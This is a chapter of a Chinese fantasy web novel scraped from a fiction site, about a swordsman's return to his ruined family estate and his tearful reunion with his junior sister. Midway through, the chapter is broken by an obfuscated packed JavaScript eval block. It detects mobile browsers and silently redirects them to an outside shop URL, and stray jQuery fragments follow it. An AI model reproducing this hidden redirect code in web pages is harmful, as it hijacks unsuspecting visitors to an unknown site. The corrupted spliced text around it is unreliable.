文趣网 > 都市小说 > 师妹她命不久矣 > 3. 师兄,师兄
    有多久没来过东临城了。

    江迟记不清,自从家破人亡后,他便鲜少回到过这里。每次回来,也只停留一瞬,买些东西。

    但时间弯弯绕绕,终是在恰时首尾相合,形成闭环。

    疫病来得突然,就如同今世这场一样。

    那时,江府是整个东临城最富有的世家。他的爹娘是羲和宗剑尊亲徒,隐退江湖后依旧会在城中扶危济困。谁承想,他们的善心善举成了让他们一家尽亡的致命匕首。从此,江迟便明白一个道理——好人不会有好报。

    你的善意之举只会让他们蹬鼻子上脸。

    有时候,良心更是一文不值。

    江迟在死人堆、流民堆中混迹数年,对此等境况见怪不怪。

    “走了走了,趁现在赶尽离魔修远点。”

    江迟将城中惨状尽收眼底,转头便拽着掠影趁机从魔修队伍中溜走。

    东临城中街道错横,与他记忆中的那个破旧模样相差了十万八千里。以至于让他费了好大劲才找到江府的位置。

    江府一如昨日,牌匾焕新不染尘埃,气派不失节度。

    “奇了。”江迟在府前转了又转。

    江府应是早已变成了灰烬才对,怎会完好如初?

    正当他想进府内查看一番,设于府外的阵法悄然运作。只听“哐当”一声,江迟头晕眼花,被法阵拒之门外。

    江迟:“……”

    行,自己家还不能进了。

    掠影欲言又止,堪堪扶稳江迟:“公子。”

    “难怪。”江迟捂着鼻子,摆摆手。

    难怪江府看着还是那么光鲜亮丽。他将手掌覆在法阵之上,一朵朵莲花在掌下绽放。

    “清莲仙尊……”掠影在一旁呢喃道。

    江迟将手放下,看向掠影:“什么?”

    “法阵出自清莲仙尊之手。”掠影盯着绽放又消失的莲花,将讲话说完,“这个莲花便是仙尊的印记。”

    听着掠影的话,江迟无端生出一个荒谬又无法忽视的想法。

    但……这怎会呢?

    “掠影。”江迟活动腕骨,看起来像是要大干一场,“借剑一用。”

    掠影不解其意,但还是很听话地将佩剑递过去,往后稍退半步凝望着江迟的背影。

    那是他第一次见江迟使用长剑。往日魔尊从不使用武器,只靠拳头与源源不断的魔气说话。以至于他从不知道,江迟曾经有个名号、享誉天下的名号——沧海剑尊。

    沧海无月,须臾一念间。

    江迟拔剑而出,雨霎时而停。

    恍惚间,掠影仿佛身处苍茫大海中,无边无际,只一轮圆月清冷高傲孤悬于天边之下、沧海之上。

    直到雨滴萧萧瑟瑟落下,才猛然将他拉回现实。

    清莲仙尊的法阵随着江迟的收剑动作应声而碎。

    江迟朝着看不见的方向蛮不着调地抱拳一拜:“失礼了。”

    随后将剑抛给掠影大摇大摆踏进江府大门。

    掠影:“……”

    夜已深,雨早已停下。

    江迟却半分睡意也无,他独自走在府内的花间小道中,目光扫过每一处角落。耳边总回响着他爹大言不惭要在院中造剑的声音、他娘温柔而贴心的问暖……还有他自己不知天高地厚立下的誓言。

    少年时的豪言壮志无非走江湖、闯天下、走出一番名堂。

    江迟年纪虽小但野心却不小。他爹师承天下第一宗羲和宗溪月剑尊,他娘则师承羲和宗落春剑尊。那他自然也不愿再拜入其他宗门下,一头只想扎在羲和宗这一大宗内,至于师承……那当然也要师承其宗内最厉害、最优秀的剑尊;待学成而归,势必成为不输爹娘的天下第一剑修。

    他的这般壮志雄心其实不只说与他爹娘听了,还有那个时时出现在他家桃花树下的小乞丐。

    那便是云漪。

    彼时江迟只有十岁出头,他为了让显得自己威武一点,费尽巴拉爬上树,寻得一处看着稳当的树枝,跷腿坐下。

    就等那个小乞丐出现。

    他从日升等到日落,从清晨等到黄昏,其间不知道被他爹娘嘲笑过多少回,终于在夜灯亮起时等到云漪出现。

    小小的身影半扒着门从后面探出头,小心翼翼又担惊受怕。

    江迟其实想告诉她,她可以光明正大地走进来,他家上下都已经认识她了

    但这话最终也没说出口。

    江迟只记得他说完“我要带着你走四方闯天涯,到时候便是我罩着你……”后,落花如雨下。云漪穿着破破烂烂的粗布麻衣,乱槽槽的麻花辫垂在身侧,睁着一双明亮而闪烁的眼,眼底尽是崇拜与他那是不懂的执着。

    他看着那双眼,心里便什么话也没了。

    少年心思简单而纯粹,江迟在那时虽然无法兑现约定的诺言,却能在力所能及之处给她最好。

    此后,云漪再也没有穿过破烂的衣服,再也没有扎过乱糟的头发。

    直到很久很久以后,再次回想他们的初遇,皎月明星,一生相伴皆为天地同鉴。

    ……

    清晨,府外喧哗声将江迟从梦中唤醒。

    昨夜不知何时,他竟在这棵桃花树下睡着了。

    江迟揉着额角,满身疲惫。说不清是因为睡在外面受凉,还是因为强行使用那一招剑式的后遗症。他活动着筋骨,循声往门外走却突然背后一凉。

    江迟霎时清醒。他回头,背后分明空无一人。

    “掠影。”江迟收回视线,转头调换方向将在厨房忙碌的掠影喊出来。

    “去外面看看发生了什么,这里交给我吧。”他不由分说将掠影推出去,一把将厨房门关上。

    门外掠影一头雾水,喊了一声“公子”也没有得到回应。便就此任劳任怨出府去打探消息。

    厨房窗户正对院中那棵桃花树。江迟倚着窗框,侧头向外看。

    忽然之间,那桃花枝摇曳上下抖落掉无数花瓣。淡粉色霎时间铺满整个花园,随风而起的花瓣遮挡住江迟的眼。

    但即便如此,他还是看清了造就这场春色的罪魁祸首。

    一抹白色混杂其中,格外引人注目。

    江迟的视线从下而上,裙尾、细腰、再至同样雪白的发尾,最后落在那人的遮面莲花上。

    清莲仙尊……当真是绝色,他不合时宜地想。

    但除了令人震撼的样貌外,还有一种莫名的熟悉感。

    趁着清莲仙尊还没有看过来,江迟悄悄走到院子里,并顺手掰下一截树枝以作防身。

    这点动静果然将她吸引。

    清莲闻声转身,垂下眼眸看向不远处那个束着高马尾、身形不甚熟悉的人。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788345|210261||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她与红枝分别后,便径直往江府走。却不曾想她刻下的护阵被强行破开,横冲直撞的魔气本能令她厌恶。

    似魔尊又不似魔尊。

    直到现在,她看清那人,她确定不是魔尊,却不敢笃定是不是……他。

    她神情恍惚,终于下定决心般从树梢上一落而下,轻盈得像一只翩然蝴蝶。

    剑气却凌冽刺人。

    江迟原本还不相信,但就在清莲仙尊停顿的那一瞬,他知道了。

    ……是云漪啊。

    迎着剑气,江迟没有闪躲。一截断枝堪堪挡住迎面而来的剑尖,他只是略微侧身,雪白的剑身划过脸颊,虽在他的脸上蹭出一道血痕,却也带来了他曾朝思暮想的人。

    树枝不慎掉落。他伸手拦腰环抱住清莲仙尊,似是长叹,声音中却带着连他都不曾察觉地颤抖:“云漪……”

    “师妹。”

    只一声,便足以令云漪失去所以因清莲仙尊这个称号而竖起的所有伪装。

    霜月跌落在残枝上,发出“叮铛”一声脆响,与江迟别在腰间随身而响的铃铛声重合。

    遮面莲花被风吹起,又随花瓣落下。

    云漪环抱住江迟,头埋在他的颈窝间。

    “师兄。”

    江迟的视线落在那片莲花与指尖缕缕缠绕垂落的白丝,很轻地回应:“嗯,我在。”

    “师兄……江迟。”云漪的泪止不住地往下落,最终浸湿了江迟的颈间衣口。

    她的这场无声哭泣,只有师兄一人接住了,也只有他一人可以接住。

    “我回来了。”江迟拍着云漪轻薄的后背,试图拉开他们的距离,“乖啊,让我看看你。”

    他想看清她的脸。

    但怎么也拉不动,江迟甚至开始怀疑他是不是力气变小了,显然不是。

    一股浓烈的血腥味萦绕在鼻间。江迟顾不得其他,使力将云漪环绕的手松开。

    云漪不知何时昏迷不醒,她蹙着眉,双目紧闭,嘴角仍在不断溢出鲜血。

    “云漪!”

    江迟霎时间乱了方寸。他伸手抹去挂在眼睫下垂悬不落的泪珠,又擦净血痕。紧接着将云漪揽腰抱在怀中朝他的房间走去。

    *

    红枝现在很郁闷。

    她与师尊下界,本就是为了跟着师尊,结果一到东临城,师尊就与她说在此分别。

    都说师命难违,红枝本想着,她稍微违反一点点也无妨,不伤大雅;偏偏又被“送阿韵回家”这件事绊住手脚。

    师尊定是看准她会送佛送到西,难怪当时不阻止她。

    将阿韵送到城南以外后,她便彻底失去师尊的行踪了。

    此时此景,红枝真想长叹一声!

    街边到处都是灾民与病重老弱,看起来她的长叹不过无病呻吟。

    遭罪。

    红枝自觉现在她无所事事,但还是不死心,正想着随便找个路人问问有没有见过她师尊,便被不远处的喧哗声吸引。

    她挤在外围听了半晌,总算听明白了。

    是魔修在抓人呢。

    “住手!”

    红枝嘴快于脑子,先出声将那伙魔修制止。

    可真正站到被找麻烦的女子面前,红枝才发现敌众我寡,还有围观平民不宜打伤。

    若要打起来,那可一点都不吃香。